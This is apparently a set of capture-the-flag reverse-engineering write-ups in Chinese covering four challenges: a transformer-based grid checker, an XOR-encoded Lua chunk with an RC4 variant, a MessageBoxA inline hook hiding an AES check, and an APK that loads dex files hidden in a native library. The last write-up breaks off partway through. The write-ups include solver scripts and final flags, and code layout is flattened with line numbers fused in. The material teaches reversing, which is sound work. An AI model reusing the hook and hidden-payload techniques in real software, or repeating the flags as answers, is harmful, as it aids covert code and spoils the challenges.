建议直接在 hajimi 目录里运行:
1 2 cd hajimipython solve.py
解包后能看到什么
用轻量 stub 把 challenge.pkl.zst 解出来以后,可以读到这些关键信息:
config
params
input_encoder
output_encoder
residual_labels
embed_spaces
其中最有价值的是两点:
1 输入字符集
input_encoder 里能看到输入 token,包含:
这和入口检查完全一致。
2 输出字符集
输出空间只有 16 个 token:
1 ' ', '.', 'EOS', 'G', 'W', 'a', 'c', 'd', 'e', 'g', 'i', 'n', 'o', 'p', 'r', 't'
这套字符实际上只能拼出两句很像样的话:
Wrong grid.
Grid accepted.
也就是说,这个模型本质上就是一个“输入 16 位数字串,输出是否通过”的判题器。
手写本地推理器
从 config 可以看到模型结构:
num_layers = 13
num_heads = 5
key_size = 257
mlp_hidden_size = 1290
activation_function = relu
layer_norm = False
causal = False
前向流程非常标准:
token_embed + pos_embed
13 层 Transformer block
每层是:
Multi-Head Attention
残差
两层 MLP + ReLU
残差
最后在输出子空间取 argmax,解码成字符串
我把这部分写成了可直接运行的脚本 solve.py。
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 from __future__ import annotationsimport argparseimport hashlibimport itertoolsimport mathimport pickleimport sysimport typesfrom pathlib import Pathimport numpy as npimport zstandard as zstdVALID_DIGITS = set ('1234' ) def install_stubs () -> None : """Provide just enough symbols for pickle.load to succeed.""" m_jax = types.ModuleType('jax' ) m_jax_src = types.ModuleType('jax._src' ) m_jax_arr = types.ModuleType('jax._src.array' ) def _reconstruct_array (reconstruct_func, reconstruct_args, state, extra ): arr = reconstruct_func(*reconstruct_args) arr.__setstate__(state) return arr m_jax_arr._reconstruct_array = _reconstruct_array sys.modules['jax' ] = m_jax sys.modules['jax._src' ] = m_jax_src sys.modules['jax._src.array' ] = m_jax_arr m_tracr = types.ModuleType('tracr' ) m_tracr_transformer = types.ModuleType('tracr.transformer' ) m_tracr_encoder = types.ModuleType('tracr.transformer.encoder' ) class CategoricalEncoder : pass m_tracr_encoder.CategoricalEncoder = CategoricalEncoder m_tracr_craft = types.ModuleType('tracr.craft' ) m_tracr_bases = types.ModuleType('tracr.craft.bases' ) class VectorSpaceWithBasis : pass class BasisDirection : pass m_tracr_bases.VectorSpaceWithBasis = VectorSpaceWithBasis m_tracr_bases.BasisDirection = BasisDirection sys.modules['tracr' ] = m_tracr sys.modules['tracr.transformer' ] = m_tracr_transformer sys.modules['tracr.transformer.encoder' ] = m_tracr_encoder sys.modules['tracr.craft' ] = m_tracr_craft sys.modules['tracr.craft.bases' ] = m_tracr_bases m_basis = types.ModuleType('basis' ) m_basis.BasisDirection = BasisDirection sys.modules['basis' ] = m_basis def load_artifact (path: Path ) -> dict : install_stubs() with path.open ('rb' ) as fp, zstd.ZstdDecompressor().stream_reader(fp) as reader: return pickle.load(reader) class Oracle : def __init__ (self, payload: dict ): self .config = payload['config' ] self .params = payload['params' ] self .input_encoder = payload['input_encoder' ] self .embed_spaces = payload['embed_spaces' ] self .residual_labels = payload['residual_labels' ] self .num_heads = self .config['num_heads' ] self .key_size = self .config['key_size' ] self .seq_len = 17 self .vocab = self .input_encoder.encoding_map self .token_embed = self .params['token_embed' ]['embeddings' ].astype(np.float64) self .pos_embed = self .params['pos_embed' ]['embeddings' ].astype(np.float64) output_basis = self .embed_spaces[3 ].basis output_labels = [f'{basis.name} :{basis.value} ' for basis in output_basis] self .output_indices = np.array([self .residual_labels.index(label) for label in output_labels], dtype=np.int64) self .output_tokens = [basis.value for basis in output_basis] self .layers = [] for layer_id in range (self .config['num_layers' ]): prefix = f'transformer/layer_{layer_id} ' self .layers.append({'Wq' : self .params[f'{prefix} /attn/query' ]['w' ].astype(np.float64), 'bq' : self .params[f'{prefix} /attn/query' ]['b' ].astype(np.float64), 'Wk' : self .params[f'{prefix} /attn/key' ]['w' ].astype(np.float64), 'bk' : self .params[f'{prefix} /attn/key' ]['b' ].astype(np.float64), 'Wv' : self .params[f'{prefix} /attn/value' ]['w' ].astype(np.float64), 'bv' : self .params[f'{prefix} /attn/value' ]['b' ].astype(np.float64), 'Wo' : self .params[f'{prefix} /attn/linear' ]['w' ].astype(np.float64), 'bo' : self .params[f'{prefix} /attn/linear' ]['b' ].astype(np.float64), 'W1' : self .params[f'{prefix} /mlp/linear_1' ]['w' ].astype(np.float64), 'b1' : self .params[f'{prefix} /mlp/linear_1' ]['b' ].astype(np.float64), 'W2' : self .params[f'{prefix} /mlp/linear_2' ]['w' ].astype(np.float64), 'b2' : self .params[f'{prefix} /mlp/linear_2' ]['b' ].astype(np.float64)}) def _softmax (self, x: np.ndarray ) -> np.ndarray: x = x - np.max (x, axis=-1 , keepdims=True ) y = np.exp(x) return y / np.sum (y, axis=-1 , keepdims=True ) def _token_ids (self, candidates: list [str ] ) -> np.ndarray: ids = np.empty((len (candidates), self .seq_len), dtype=np.int64) ids[:, 0 ] = self .vocab['BOS' ] for row, candidate in enumerate (candidates): if len (candidate) != 16 or any ((ch not in VALID_DIGITS for ch in candidate)): raise ValueError(f'invalid candidate: {candidate!r} ' ) ids[row, 1 :] = [self .vocab[ch] for ch in candidate] return ids def evaluate (self, candidates: list [str ] ) -> list [str ]: token_ids = self ._token_ids(candidates) x = self .token_embed[token_ids] + self .pos_embed[np.newaxis, :self .seq_len] for layer in self .layers: q = (x @ layer['Wq' ] + layer['bq' ]).reshape(len (candidates), self .seq_len, self .num_heads, self .key_size) k = (x @ layer['Wk' ] + layer['bk' ]).reshape(len (candidates), self .seq_len, self .num_heads, self .key_size) v = (x @ layer['Wv' ] + layer['bv' ]).reshape(len (candidates), self .seq_len, self .num_heads, self .key_size) scores = np.einsum('bthd,bshd->bhts' , q, k, optimize=True ) scores /= math.sqrt(self .key_size) attn = self ._softmax(scores) ctx = np.einsum('bhts,bshd->bthd' , attn, v, optimize=True ).reshape(len (candidates), self .seq_len, self .num_heads * self .key_size) x = x + ctx @ layer['Wo' ] + layer['bo' ] x = x + np.maximum(0 , x @ layer['W1' ] + layer['b1' ]) @ layer['W2' ] + layer['b2' ] logits = x[:, :, self .output_indices] pred_ids = np.argmax(logits, axis=-1 ) messages = [] for pred in pred_ids: decoded = [self .output_tokens[idx] for idx in pred] if 'EOS' in decoded: decoded = decoded[:decoded.index('EOS' )] messages.append('' .join(decoded[1 :])) return messages def enumerate_latin_squares () -> list [str ]: perms = list (itertools.permutations('1234' )) result_buf = [] for rows in itertools.product(perms, repeat=4 ): cols = ['' .join((row[col] for row in rows)) for col in range (4 )] if all ((sorted (col) == ['1' , '2' , '3' , '4' ] for col in cols)): result_buf.append('' .join(('' .join(row) for row in rows))) return result_buf def run_solver (query_oracle: Oracle ) -> tuple [str , str ]: candidates = enumerate_latin_squares() messages = query_oracle.evaluate(candidates) accepted = [cand for cand, msg in zip (candidates, messages) if msg == 'Grid accepted.' ] if len (accepted) != 1 : raise RuntimeError(f'expected exactly one accepted grid, got {len (accepted)} ' ) answer = accepted[0 ] flag = hashlib.sha256(answer.encode()).hexdigest() return (answer, flag) def entrypoint () -> None : arg_parser = argparse.ArgumentParser(description='Solve the XMCTF hajimi reverse challenge.' ) arg_parser.add_argument('--artifact' , type =Path, default=Path(__file__).with_name('challenge.pkl.zst' ), help ='path to challenge.pkl.zst' ) arg_parser.add_argument('--check' , metavar='GRID' , help ='check a single 16-digit candidate instead of solving' ) cli_args = arg_parser.parse_args() query_oracle = Oracle(load_artifact(cli_args.artifact)) if cli_args.check is not None : message = query_oracle.evaluate([cli_args.check])[0 ] print (f'candidate = {cli_args.check} ' ) print (f'model = {message} ' ) return answer, flag = run_solver(query_oracle) print (f'answer = {answer} ' ) print (f'flag = xmctf{{{flag} }}' ) if __name__ == '__main__' : entrypoint()
如果只想验证某个候选串,可以直接:
1 2 cd hajimipython solve.py --check 1234341221434321
会输出:
1 2 candidate = 1234341221434321 model = Grid accepted.
如何把搜索空间从 4^16 降下来
直接爆破总空间是:
纯查模型当然也不是不能做,但完全没必要。
结合下面几个信息可以把空间大幅缩小:
程序自己提示的是 grid。
输入刚好是 16 位,很自然可以看成 4 x 4 网格。
数字只允许 1..4。
题目额外提示里有“南北”这类方向词,明显像棋盘/方格类谜题。
一个非常自然的约束就是:
每一行都是 1,2,3,4 的一个排列
每一列也是 1,2,3,4 的一个排列
这就是一个 4 x 4 Latin square。
满足这个条件的候选只有 576 个:
1 2 3 24^ 4 -> 先枚举行排列 再筛掉列不满足排列条件的情况 最终只剩 576 个
这个规模已经非常舒服,完全可以逐个丢给模型检查。
枚举结果
脚本会枚举全部 576 个候选,并用本地 numpy 推理器批量跑过模型。
运行:
1 2 cd hajimipython solve.py
输出:
1 2 answer = 1234341221434321 flag = xmctf{b0a0d1edc0fb5b75770a5dcbe7b0d4fb08e42fd281a94ee67b405e36056f1df1}
也就是说唯一通过的答案串是:
按 4 x 4 写出来就是:
复现脚本说明
solve.py 做了三件事:
给 pickle 补最小可用的 stub,避免安装整套 JAX/TRACR。
用 numpy 重写模型前向。
枚举全部 576 个 4 x 4 Latin square,筛出唯一通过项。
核心命令:
1 2 3 cd hajimipython solve.py python solve.py --check 1234341221434321
最终 flag xmctf{b0a0d1edc0fb5b75770a5dcbe7b0d4fb08e42fd281a94ee67b405e36056f1df1}
REVERSE_SdTVdp_Hulua 题目分析 本题先从样本里抠出异常 Lua chunk,再反推自定义 opcode 和加密函数,最后还原真实校验逻辑并求出 flag。
解题过程 关键分析
目录里只有一个 64 位原生程序 Hulua.exe。程序运行后会先提示输入 flag,再给出对错结果。
先定位主流程
从字符串交叉引用可以很快定位到主逻辑:
打印 Please enter the flag:
用 fgets 读入用户输入
创建一个 Lua state
把输入塞进脚本环境里的全局变量 user_input
从 .data 取出一段长度为 0x3dc 的缓冲区,以 "check" 为名字交给 Lua 执行
读取脚本返回值,为真就输出正确
这一步说明程序本质上是:
外层 C 程序
内层静态链接 Lua 5.3.6
真正的校验逻辑藏在内嵌 Lua chunk 里
提取并恢复内嵌 Lua chunk
主函数把 .data 的 0x33000 开始的 0x3dc 字节当作脚本载入。直接提取后,前 4 字节不是标准 Lua 头:
而标准 Lua 5.3 bytecode 头应该是:
两者异或一下可以得到:
正好是循环字符串 hulua。
因此本题对 Lua chunk 做的第一层处理就是:
1 real_chunk[i] = enc_chunk[i] ^ b'hulua' [i % 5 ]
恢复后 chunk 头就是标准的:
1 1B 4C 75 61 53 00 19 93 0D 0A 1A 0A
也就是标准 Lua 5.3 预编译 chunk。
直接按标准 Lua 反汇编会发现异常
如果把恢复后的 chunk 按标准 Lua 5.3 opcode 顺序去解释,会出现明显不可能执行的逻辑,比如:
user_input == nil 那块还能看懂
但后面会出现类似“字符串乘 nil”这种不可能成立的运算
这说明题目不只是把 chunk 头异或了一下,还改了 Lua VM 的 opcode 语义映射 。
不过 chunk 的寄存器布局、常量表、for-loop 框架都还是标准 Lua 5.3,因此可以通过“局部源码形状”反推出真实 opcode。
先用容易识别的子函数反推 opcode
chunk 里有两个子函数。
子函数 2: 十六进制字符串转字节串
常量非常明显:
string
gmatch
%x+
char
tonumber
16
对应源码很容易还原成:
1 2 3 4 5 6 7 local function hex_to_bytes (s) local out = "" for x in string .gmatch (s, "%x+" ) do out = out .. string .char (tonumber (x, 16 )) end return out end
据此可以确定:
子函数 1: 真正的加密函数
这个函数一开始会:
建两个表
string.byte(key, 1, -1) 取 key 字节
把一个长度 256 的表初始化成 0..255
进行一轮典型的 RC4 KSA 交换
再对输入做一轮 RC4 PRGA
再结合中间的算术与位运算,很容易得到:
op21 = MOD
op18 = ADD
op27 = BXOR
op33 = LEN
op15 = EQ
主逻辑
主函数可以还原为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 local ok = true local key_hex = "78 6D 63 74 66 32 30 32 36" local target_hex = "8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3" local rc4_like = ...local hex_to_bytes = ...if user_input == nil then return false end if #user_input ~= 32 then return false end local key = hex_to_bytes(key_hex)local enc = rc4_like(key, user_input)local target = hex_to_bytes(target_hex)return enc == target
加密函数
Lua 子函数实际是一个 RC4 变体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 local function hulua_crypt (key, data) local S = {} local key_bytes = {string .byte (key, 1 , -1 )} local key_len = #key_bytes for i = 0 , 255 do S[i] = i end local j = 0 for i = 0 , 255 do j = (j + S[i] + key_bytes[(i % key_len) + 1 ]) % 256 S[j], S[i] = S[i], S[j] end local i = 0 j = 0 local out = {} local data_bytes = {string .byte (data, 1 , -1 )} for idx = 1 , #data_bytes do i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[j], S[i] = S[i], S[j] local ks = S[(S[i] + S[j]) % 256 ] table .insert (out, string .char ((data_bytes[idx] ~ ks) ~ 0x66 )) end return table .concat (out) end
也就是:
1 out[i] = data[i] ^ rc4_ keystream[i] ^ 0x66
这个过程本身是对称的,所以解密时再跑一遍同样的函数即可。
取出 key 和目标密文
根 proto 常量里有两个关键字符串:
1 2 key_ hex = "78 6D 63 74 66 32 30 32 36" target_ hex = "8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3"
先转字节:
1 2 key = b"xmctf2026" target = bytes.fromhex(...)
然后直接再跑一遍同样的 hulua_crypt(key, target),因为它是对称的,输出就是明文 flag:
1 xmctf{lu4t1c_ r3v3rs3_ ch4ll3ng3!}
关键代码
脚本文件: 09_Hulua_solve.py
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from __future__ import annotationsimport structfrom pathlib import Pathimport pefileXOR_KEY = b'hulua' SCRIPT_RVA = 208896 SCRIPT_SIZE = 988 class Reader : def __init__ (self, buf: bytes ): self .data = buf self .pos = 0 def read (self, size: int ) -> bytes : chunk = self .data[self .pos:self .pos + size] if len (chunk) != size: raise EOFError(f'need {size} bytes at {self.pos:#x} ' ) self .pos += size return chunk def u8 (self ) -> int : return self .read(1 )[0 ] def u64 (self ) -> int : return struct.unpack('<Q' , self .read(8 ))[0 ] def i32 (self ) -> int : return struct.unpack('<i' , self .read(4 ))[0 ] def i64 (self ) -> int : return struct.unpack('<q' , self .read(8 ))[0 ] def f64 (self ) -> float : return struct.unpack('<d' , self .read(8 ))[0 ] def xor_cycle (buf: bytes , key: bytes ) -> bytes : return bytes ((b ^ key[i % len (key)] for i, b in enumerate (buf))) def extract_blob (exe_path: Path ) -> bytes : pe = pefile.PE(str (exe_path)) for section in pe.sections: start = section.VirtualAddress end = start + max (section.Misc_VirtualSize, section.SizeOfRawData) if start <= SCRIPT_RVA < end: offset = section.PointerToRawData + (SCRIPT_RVA - start) return exe_path.read_bytes()[offset:offset + SCRIPT_SIZE] raise ValueError('script blob not found' ) def load_lua_string (reader: Reader ) -> str | None : size = reader.u8() if size == 255 : size = reader.u64() if size == 0 : return None size -= 1 return reader.read(size).decode('utf-8' , errors='replace' ) def parse_root_constants (chunk: bytes ) -> list [tuple [str , object ]]: reader = Reader(chunk) if reader.read(4 ) != b'\x1bLua' : raise ValueError('invalid Lua signature' ) reader.read(1 + 1 + 6 + 5 + 8 + 8 ) reader.read(1 ) load_lua_string(reader) reader.read(4 + 4 + 1 + 1 + 1 ) code_size = reader.i32() reader.read(code_size * 4 ) const_size = reader.i32() constants: list [tuple [str , object ]] = [] for _ in range (const_size): kind = reader.u8() if kind == 0 : constants.append(('nil' , None )) elif kind == 1 : constants.append(('bool' , bool (reader.u8()))) elif kind == 3 : constants.append(('num' , reader.f64())) elif kind == 19 : constants.append(('int' , reader.i64())) elif kind in (4 , 20 ): constants.append(('str' , load_lua_string(reader))) else : raise ValueError(f'unknown constant kind: {kind:#x} ' ) return constants def hex_string_to_bytes (text: str ) -> bytes : return bytes ((int (part, 16 ) for part in text.split())) def hulua_crypt (key: bytes , buf: bytes ) -> bytes : s = list (range (256 )) key_bytes = list (key) j = 0 for i in range (256 ): j = (j + s[i] + key_bytes[i % len (key_bytes)]) % 256 s[j], s[i] = (s[i], s[j]) i = 0 j = 0 result_buf = bytearray () for value in buf: i = (i + 1 ) % 256 j = (j + s[i]) % 256 s[j], s[i] = (s[i], s[j]) ks = s[(s[i] + s[j]) % 256 ] result_buf.append(value ^ ks ^ 102 ) return bytes (result_buf) def run_solver (exe_path: Path ) -> str : payload = extract_blob(exe_path) chunk = xor_cycle(payload, XOR_KEY) constants = parse_root_constants(chunk) key_hex = constants[0 ][1 ] target_hex = constants[1 ][1 ] if not isinstance (key_hex, str ) or not isinstance (target_hex, str ): raise ValueError('unexpected root constants' ) key = hex_string_to_bytes(key_hex) target = hex_string_to_bytes(target_hex) flag = hulua_crypt(key, target).decode() return flag def entrypoint () -> None : exe_path = Path(__file__).with_name('Hulua.exe' ) flag = run_solver(exe_path) print (flag) if __name__ == '__main__' : entrypoint()
功能:
从 Hulua.exe 中提取 .data 里的脚本 blob
用 hulua 循环异或恢复 Lua chunk
解析根 proto 常量,拿到 key_hex 和 target_hex
按还原出的 RC4 变体解密并输出 flag
运行方法:
1 python 09 _Hulua_solve.py
输出:
1 xmctf{lu4t1c_ r3v3rs3_ ch4ll3ng3!}
验证
用 Python 给程序喂入这个 flag,可以得到:
1 [+] Congratulations! The flag is correct.
最终 flag xmctf{lu4t1c_r3v3rs3_ch4ll3ng3!}
REVERSE_SdTVdp_Illusion 题目分析 从交互上看像是一个普通的 flag 校验题,但本题真正的关键点在于它做了两层“幻术”:
main 里存在一层非常像最终答案的 RC4 校验。
程序入口处还偷偷给 MessageBoxA 打了 hook,真正的 flag 被藏在这层逻辑里。
解题过程 关键分析
题目目录里只有一个 test.exe,程序启动后会先输出:
1 2 w3lc0me to the Re w0r1d. P1z input your flag:
从交互上看像是一个普通的 flag 校验题,但本题真正的关键点在于它做了两层“幻术”:
main 里存在一层非常像最终答案的 RC4 校验。
程序入口处还偷偷给 MessageBoxA 打了 hook,真正的 flag 被藏在这层逻辑里。
基本格式判断
在 main 中可以直接看到对输入格式的限制:
前 6 字节必须是 xmctf{
最后 1 字节必须是 }
总长度必须是 25
也就是说,中间可控部分长度固定为 18 字节。
RC4 校验
main 把中间 18 字节取出后,会用 key:
做一层 RC4,然后和内置密文比较:
1 d5 0a fb 84 0a 8f 2c e7 27 d9 56 3e f3 6c 29 ab 19 54
把这段密文 RC4 解密后可以得到:
于是会得到一个很像答案的字符串:
1 xmctf{nev_ gona_ letydown\x 07}
但是这个结果有两个明显问题:
最后一个字节是不可见控制字符 0x07
提交后会发现这是错的
这说明 main 里的这层并不是真正答案,而是题目故意放出来的“幻术”。
程序入口做了什么
继续往入口追,会发现程序先:
GetModuleHandleA("user32.dll")
GetProcAddress(..., "MessageBoxA")
用 VirtualProtect 改写目标地址
把 MessageBoxA inline hook 到 0x1400010f0
也就是说,本题不只是 main 在验 flag,弹窗函数本身也被做了手脚。
hook 中的隐藏校验
hook 函数里会把当前输入的 18 字节再拿出来处理。
可以看到它构造了一把 16 字节 AES key:
1 12 34 12 34 12 34 12 34 12 34 12 34 41 45 53 21
也就是:
1 12341234123412341234123441455321
随后用 AES-128-ECB 对输入做加密,并和下面这 32 字节密文比较:
1 2 f2 7b 7e 75 b4 5c 08 fa 19 3c 8a 4a 04 f8 1f 67 1b 05 9c e7 27 40 78 6d 28 f6 a8 b8 06 c6 c5 51
这里 32 字节对应的是两组 AES block,因此直接用同一把 key 做 ECB 解密即可。
还原真实 flag
对上面的 AES 密文解密后,得到明文:
长度正好也是 18 字节,因此真实 flag 就是:
1 xmctf{R3a1_ w0rld_ M47ters}
这才是真 flag 的判断依据
本题名叫 Illusion,出题点就在这里:
main 里那层 RC4 会把人引到一个看似合理、实际上错误的假 flag
真正的 flag 被藏在入口处对 MessageBoxA 的 hook 里
hook 里甚至还出现了 real world 这样的字符串,明显在暗示“真实世界”的答案不在表面逻辑中
所以本题的核心不是停在 main,而是要继续把启动阶段的自修改 / hook 逻辑也翻完。
关键代码
我把复现脚本放在同目录下的 solve.py,它会同时输出:
第一层 RC4 解出来的假 flag
第二层 AES 解出来的真 flag
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from Crypto.Cipher import AESRC4_KEY = b'nev_gona_give_up' RC4_CIPHERTEXT = bytes .fromhex('d50afb840a8f2ce727d9563ef36c29ab1954' ) AES_KEY = bytes .fromhex('12341234123412341234123441455321' ) AES_CIPHERTEXT = bytes .fromhex('f27b7e75b45c08fa193c8a4a04f81f671b059ce72740786d28f6a8b806c6c551' ) PREFIX = b'xmctf{' SUFFIX = b'}' def rc4_transform (buf: bytes , key: bytes ) -> bytes : sbox = list (range (256 )) j = 0 for i in range (256 ): j = j + sbox[i] + key[i % len (key)] & 255 sbox[i], sbox[j] = (sbox[j], sbox[i]) result_buf = bytearray () i = 0 j = 0 for byte in buf: i = i + 1 & 255 j = j + sbox[i] & 255 sbox[i], sbox[j] = (sbox[j], sbox[i]) result_buf.append(byte ^ sbox[sbox[i] + sbox[j] & 255 ]) return bytes (result_buf) def entrypoint () -> None : fake_body = rc4_transform(RC4_CIPHERTEXT, RC4_KEY) fake_flag = PREFIX + fake_body + SUFFIX real_padded = AES.new(AES_KEY, AES.MODE_ECB).decrypt(AES_CIPHERTEXT) real_body = real_padded[:-real_padded[-1 ]] real_flag = PREFIX + real_body + SUFFIX print ('[Layer 1] RC4 decoy in main()' ) print ('body bytes :' , fake_body.hex ()) print ('body text :' , fake_body.decode('ascii' , errors='backslashreplace' )) print ('flag text :' , fake_flag.decode('ascii' , errors='backslashreplace' )) print () print ('[Layer 2] Real flag hidden in the MessageBoxA hook' ) print ('body bytes :' , real_body.hex ()) print ('body text :' , real_body.decode('ascii' , errors='strict' )) print ('flag text :' , real_flag.decode('ascii' , errors='strict' )) print () print ('Verdict: the RC4 result is the illusion,' ) print ('and the AES result is the real flag.' ) if __name__ == '__main__' : entrypoint()
运行:
输出中第二层结果就是最终答案。
最终 flag xmctf{R3a1_w0rld_M47ters}
REVERSE_SdTVdp_MixTielele 题目分析 这说明题目本身没有刻意关闭调试,而且主逻辑大概率就在这个 Activity 里。
解题过程 关键分析
题目目录:mixtielele
题目文件:MixTielele.apk
题面提示:please login as admin
最终 flag:
1 xmctf{adde035c89b5fb477e43b1ef78c8d890}
先看 APK 结构
目录里只有一个 APK:
直接用 apktool 和 jadx 反编译:
1 2 apktool d -f MixTielele.apk -o apktool_out jadx -d jadx_out MixTielele.apk
AndroidManifest.xml 里能看到:
包名:com.example.titlele
入口 Activity:com.example.titlele.OO00OO0OOOO000O000
android:debuggable="true"
这说明题目本身没有刻意关闭调试,而且主逻辑大概率就在这个 Activity 里。
入口 Activity 分析
入口类 OO00OO0OOOO000O000 的核心逻辑如下:
1 2 3 4 5 6 7 private void login () { OO00OO0OO0000OOOOO.load(this ); OO00OO0OOOOO0O00OO impl = OO00OO0OO00OOOOOO0.get(); String loginInfo = impl.Login("user" ); String json = EncTitlele(loginInfo); POST http: }
也就是说按钮点击后会做三件事:
先调用 OO00OO0OO0000OOOOO.load(this) 加载额外 payload。
再取出一个接口实现,执行 Login("user")。
把结果交给 native 方法 EncTitlele(...) 做二次处理,然后发给远端。
1 这里的关键陷阱
表面上看,OO00OO0OO00OOOOOO0 这个类里也有一个 Login(String):
1 2 3 4 5 6 7 8 9 10 public static String Login (String UserName) throws Exception { Cipher cipher = Cipher.getInstance("ARC4" ); SecretKeySpec keySpec = new SecretKeySpec ( OO00OO0OO00O0OO0OO.OO00OOOOOO000O0O0OO0().getBytes(StandardCharsets.UTF_8), "ARC4" ); cipher.init(1 , keySpec); byte [] encryptedBytes = cipher.doFinal(UserName.getBytes(StandardCharsets.UTF_8)); return Base64.encodeToString(encryptedBytes, 2 ); }
但这个方法根本没有被调用。
真正执行的是:
1 2 OO00OO0OOOOO0O00OO impl = OO00OO0OO00OOOOOO0.get();String loginInfo = impl.Login("user" );
get() 返回的是一个运行时注册进去的接口实现,不是当前 dex 里那段静态方法。也就是说,真正的逻辑被藏起来了。
隐藏 payload 在哪里
OO00OO0OO0000OOOOO.load(this) 很关键:
1 2 3 File so = new File (ctx.getApplicationInfo().nativeLibraryDir, "libflutter.so" );PathClassLoader pcl = new PathClassLoader (so.getAbsolutePath(), ctx.getClassLoader());Class.forName("com.example.titlele.OO00OO0OO00O0OO000" , true , pcl);
这里非常反常:
它没有加载普通 dex/jar
而是直接把 libflutter.so 当作 PathClassLoader 的输入
这通常意味着:libflutter.so** 里藏了 dex**。
1 扫描 libflutter.so 中的 dex 头
可以直接扫描 dex\n:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pathlib import Pathimport structp = Path('apktool_out/lib/arm64-v8a/libflutter.so' ) buf = p.read_bytes() offsets = [] start = 0 while True : idx = buf.find(b'dex\n' , start) if idx == -1 : break offsets.append(idx) start = idx + 1 print ([hex (x) for x in offsets])for off in offsets: file_size = struct.unpack_from('<I' , buf, off + 32 )[0 ] print (hex (off), hex (file_size))
实际能扫到 6 个 dex:
1 2 3 4 5 6 0x2c 0xd88 0x7db8c 0x81e18 0x2f3d58 0xb18cd4
2 把隐藏 dex 切出来
按 dex header 里的 file_size 直接切:
1 2 3 4 5 6 7 8 9 10 11 from pathlib import Pathimport structsrc = Path('apktool_out/lib/arm64-v8a/libflutter.so' ) outdir = Path('flutter_embedded_dex' ) outdir.mkdir(exist_ok=True ) buf = src.read_bytes() offsets = [44 , 3464 , 514956 , 531992 , 3095896 , 11635924 ] for i, off in enumerate (offsets, 1 ): size = struct.unpack_from('<I' , buf, off + 32 )[0 ] chunk = buf[off:off + size] (outdir / f'carved_{i} _{off:08x} .dex' ).write_bytes(chunk)
然后分别用 jadx 看:
1 2 3 jadx -d carved1_jadx flutter_embedded_dex/carved_1_0000002c.dex jadx -d carved3_jadx flutter_embedded_dex/carved_3_0007db8c.dex jadx -d carved5_jadx flutter_embedded_dex/carved_5_002f3d58.dex
1 运行时注册代理类
在 carved_1 里能看到 OO00OO0OO00O0OO000:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public final class OO00OO0OO00O0OO000 { static { register(); } private static void register () { ClassLoader cl = OO00OO0OO00O0OO000.class.getClassLoader(); Class<?> signInterface = cl.loadClass("com.example.titlele.OO00OO0OOOOO0O00OO" ); Object proxy = Proxy.newProxyInstance( signInterface.getClassLoader(), new Class []{signInterface}, new OO00OO0OOO00O00O00 () ); Class<?> center = cl.loadClass("com.example.titlele.OO00OO0OO00OOOOOO0" ); Method register = center.getMethod("register" , signInterface); register.invoke(null , proxy); } }
这就解释了前面的 OO00OO0OO00OOOOOO0.get():
它拿到的是运行时用 Proxy 注册进去的实现
真正的 Login 逻辑在 OO00OO0OOO00O00O00
2 真正的 Login 在做什么
OO00OO0OOO00O00O00 代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public final class OO00OO0OOO00O00O00 implements InvocationHandler { @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { if ("Login" .equals(method.getName())) { return LogInfo((String) args[0 ]); } return null ; } private String LogInfo (String s) { UserProto.LoginInfo info = UserProto.LoginInfo.newBuilder() .setUser(s) .setIsHacker(true ) .build(); byte [] serialized = info.toByteArray(); byte [] data = Encrypt.enc(serialized); String base64 = Base64.encodeToString(data, 2 ); return base64; } }
重点有两个:
它构造的是一个 protobuf:LoginInfo
它把 isHacker 强行设成了 true
3 LoginInfo 的 protobuf 结构
在 carved_3 里能看到 protobuf 描述:
1 2 3 4 message LoginInfo { string user = 1 ; bool isHacker = 2 ; }
也就是说,客户端真正传给服务端的数据本质上是:
1 2 user = "user" isHacker = true
4 Encrypt.enc() 的实现
在 carved_5 里能看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class Encrypt { private static final int INCREMENT = 1013904223 ; private static final int INITIAL_SEED = 622918 ; private static final int MULTIPLIER = 1664525 ; public static byte [] enc(byte [] data) { byte [] result = new byte [data.length]; int currentKey = INITIAL_SEED; for (int i = 0 ; i < data.length; i++) { byte xorMask = (byte ) currentKey; result[i] = (byte ) (data[i] ^ xorMask); currentKey = (MULTIPLIER * currentKey) + INCREMENT; } return result; } }
这层根本不是复杂加密,只是一个固定种子的 LCG 逐字节异或。
到这里,Java 层的数据流程已经清楚了:
1 2 3 LoginInfo protobuf -> LCG XOR -> Base64
native EncTitlele 分析
Java 里还有最后一层:
1 String json = EncTitlele(loginInfo);
这个方法在 libmixtitlele.so 里。
1 JNI_OnLoad 动态注册 native 方法
